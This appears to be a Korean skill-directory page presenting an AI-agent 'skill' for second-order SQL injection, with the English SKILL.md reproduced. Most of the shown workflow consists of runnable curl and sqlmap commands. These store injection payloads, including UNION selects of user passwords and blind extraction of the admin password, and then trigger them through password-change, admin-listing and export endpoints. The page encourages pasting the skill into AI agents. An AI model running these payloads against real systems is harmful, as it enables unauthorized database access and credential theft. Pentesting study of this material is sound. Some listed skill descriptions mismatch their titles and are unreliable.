performing-second-order-sql-injection
하는 일
이 도구는 ‘2차 SQL 인젝션(second-order SQL injection)’이라는 보안 결함을 찾고 악용하는 데 도움을 줍니다. 악의적인 데이터가 데이터베이스에 저장된 뒤, 시스템의 다른 부분에서 안전하지 않게 사용될 때 발생합니다.
사용하는 경우
- ✓간단한 보안 테스트에서 결함이 없지만 더 복잡한 문제가 있다고 의심될 때.
- ✓댓글이나 프로필처럼 사용자가 제출한 정보를 저장하는 시스템을 테스트할 때.
- ✓저장된 데이터가 나중에 쿼리에 쓰이는 다단계 과정을 점검하는 경우.
스킬 링크
https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-second-order-sql-injection/SKILL.md복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.
사용 방법
가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.
바로 붙여넣을 수 있는 메시지
Claude Code, Codex, Cursor용입니다. 프로젝트 폴더에서 실행하면 스킬이 설치됩니다.
SKILL.md를 다운로드해 에이전트의 스킬 폴더에 넣으세요.
AI에게 요청하는 예시
“댓글 시스템에서 2차 SQL 인젝션 결함을 찾아 주세요.”
매주 새 스킬 5개. 읽는 데 1분.
작동 방식
먼저 시스템이 정보를 저장하는 곳(예: 회원가입)과 나중에 그 정보를 사용하는 곳(예: 보고서)을 파악합니다. 그다음 저장 지점에 악성 코드를 넣고, 트리거 지점을 활성화해 그 코드가 안전하지 않게 실행되는지 확인합니다.
기술 내용 (원본 SKILL.md)
작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.
Performing Second-Order SQL Injection
When to Use
- When first-order SQL injection testing reveals proper input sanitization at storage time
- During penetration testing of applications with user-generated content stored in databases
- When testing multi-step workflows where stored data feeds subsequent database queries
- During assessment of admin panels that display or process user-submitted data
- When evaluating stored procedure execution paths that use previously stored data
Prerequisites
- Burp Suite Professional for request tracking across application flows
- SQLMap with second-order injection support (--second-url flag)
- Understanding of SQL injection fundamentals and blind extraction techniques
- Two or more application functions (one for storing data, another for triggering execution)
- Database error message monitoring or blind technique knowledge
- Multiple user accounts for testing stored data across different contexts
Workflow
Step 1 — Identify Storage and Trigger Points
# Map the application to identify:
# 1. STORAGE POINTS: Where user input is saved to database
# - User registration (username, email, address)
# - Profile update forms
# - Comment/review submission
# - File upload metadata
# - Order/booking details
# 2. TRIGGER POINTS: Where stored data is used in queries
# - Admin panels displaying user data
# - Report generation
# - Search functionality using stored preferences
# - Password reset using stored email
# - Export/download features
# Register a user with SQL injection in the username
curl -X POST http://target.com/register \
-d "username=admin'--&password=test123&email=test@test.com"
Step 2 — Inject Payloads via Storage Points
# Store SQL injection payload in username during registration
curl -X POST http://target.com/register \
-d "username=test' OR '1'='1'--&password=Test1234&email=test@test.com"
# Store injection in profile fields
curl -X POST http://target.com/api/profile \
-H "Cookie: session=AUTH_TOKEN" \
-d "display_name=test' UNION SELECT password FROM users WHERE username='admin'--"
# Store injection in address field
curl -X POST http://target.com/api/address \
-H "Cookie: session=AUTH_TOKEN" \
-d "address=123 Main St' OR 1=1--&city=Test&zip=12345"
# Store injection in comment/review
curl -X POST http://target.com/api/review \
-H "Cookie: session=AUTH_TOKEN" \
-d "product_id=1&review=Great product' UNION SELECT table_name FROM information_schema.tables--"
Step 3 — Trigger Execution of Stored Payloads
# Trigger via password change (uses stored username)
curl -X POST http://target.com/change-password \
-H "Cookie: session=AUTH_TOKEN" \
-d "old_password=Test1234&new_password=NewPass123"
# Trigger via admin user listing
curl -H "Cookie: session=ADMIN_TOKEN" http://target.com/admin/users
# Trigger via data export
curl -H "Cookie: session=AUTH_TOKEN" http://target.com/api/export-data
# Trigger via search using stored preferences
curl -H "Cookie: session=AUTH_TOKEN" http://target.com/api/recommendations
# Trigger via report generation
curl -H "Cookie: session=ADMIN_TOKEN" "http://target.com/admin/reports?type=user-activity"
Step 4 — Use SQLMap for Second-Order Injection
# SQLMap with --second-url for second-order injection
# Store payload at registration, trigger at profile page
sqlmap -u "http://target.com/register" \
--data="username=*&password=test&email=test@test.com" \
--second-url="http://target.com/profile" \
--cookie="session=AUTH_TOKEN" \
--batch --dbs
# Use --second-req for complex trigger requests
sqlmap -u "http://target.com/api/update-profile" \
--data="display_name=*" \
--second-req=trigger_request.txt \
--cookie="session=AUTH_TOKEN" \
--batch --tables
# Content of trigger_request.txt:
# GET /admin/users HTTP/1.1
# Host: target.com
# Cookie: session=ADMIN_TOKEN
Step 5 — Blind Second-Order Extraction
# Boolean-based blind: Check if stored payload causes different behavior
# Store: test' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--
curl -X POST http://target.com/api/profile \
-H "Cookie: session=AUTH_TOKEN" \
-d "display_name=test' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--"
# Trigger and observe response difference
curl -H "Cookie: session=AUTH_TOKEN" http://target.com/profile
# Time-based blind second-order
…
자주 묻는 질문
‘2차 SQL 인젝션’이란 무엇인가요?
악성 코드가 데이터베이스에 저장되었다가, 나중에 시스템이 그 데이터를 안전하지 않게 사용할 때 다른 시점에 실행되는 것입니다.
이것을 사용하려면 특별한 소프트웨어가 필요한가요?
네, Burp Suite와 SQLMap 같은 도구와 SQL 인젝션 공격의 작동 방식에 대한 이해가 필요합니다.
‘저장 지점’과 ‘트리거 지점’이란 무엇인가요?
저장 지점은 데이터를 입력하는 곳(예: 회원가입 양식)입니다. 트리거 지점은 나중에 그 데이터가 사용되는 곳(예: 프로필 표시)입니다.
상세 정보
작성자의 원본 설명
Detect and exploit second-order SQL injection vulnerabilities where malicious input is stored in a database and later executed in an unsafe SQL query during a different application operation.
인기도
- GitHub 스타
- 35k
- 순위
- #8301
- 라이선스
- Apache-2.0
- 업데이트
- 2026. 8. 31.
댓글
- …
이 저장소의 다른 스킬
abusing-dpapi-for-credential-access
35kAI 에이전트에게 특정 작업을 위한 준비된 지침을 제공해, 더 잘하고 더 빠르게 처리하도록 합니다.
abusing-shadow-credentials-for-privesc
35kAI 에이전트가 명확하고 잘 구성된 텍스트를 쓰도록 가르칩니다.
achieving-cmmc-level-2-compliance
35kCMMC Level 2 규정 준수를 위한 환경을 준비하도록 돕습니다. 보안 요구 사항을 구현하고 필요한 문서를 관리합니다.
acquiring-disk-image-with-dd-and-dcfldd
35k에이전트가 하드 드라이브의 정확한 복사본을 만들도록 돕습니다. 조사 중 정보가 손실되거나 변경되지 않도록 하는 데 유용합니다.
비슷한 스킬
discrawl
394k에이전트가 저장된 로컬 Discord 메시지 보관본을 검색하고 요약하며, 최신 상태를 확인하고 다이렉트 메시지를 읽도록 돕습니다.
clickhouse-io
280k에이전트가 ClickHouse 데이터베이스의 쿼리와 스키마를 최적화하도록 돕습니다. 고성능 분석 작업의 모범 사례를 적용합니다. 분석 쿼리가 느릴 때 씁니다.
scientific-db-pubmed-database
280k생의학 분야의 과학 논문을 에이전트가 검색하도록 돕습니다. 특정 의학 정보가 필요한 연구에 유용합니다.